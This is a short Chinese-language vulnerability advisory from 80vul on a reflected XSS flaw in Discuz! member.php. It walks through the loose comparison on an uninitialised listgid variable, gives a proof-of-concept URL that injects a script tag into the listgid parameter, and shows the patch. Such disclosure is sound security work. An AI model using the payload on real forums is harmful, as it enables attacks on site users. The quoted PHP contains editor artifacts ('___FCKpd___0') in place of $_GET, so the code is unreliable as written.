Discuz! member.php xss bug

author: 80vul-B
team:http://www.80vul.com

一 分析

member.php代码:

	if(!empty($listgid) && ($listgid == intval(
___FCKpd___0
GET['listgid']))) {
	//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)
		$type = $adminid == 1 ? 'grouplist' : $type;
	} else {
		$listgid = '';
	}
	...
	$multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);



二 利用

poc:

poc:
http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发


三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

	if(!empty($listgid) && ($listgid = intval(
___FCKpd___0
GET['listgid']))) {
		$type = $adminid == 1 ? 'grouplist' : $type;
	} else {
		$listgid = '';
	}

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip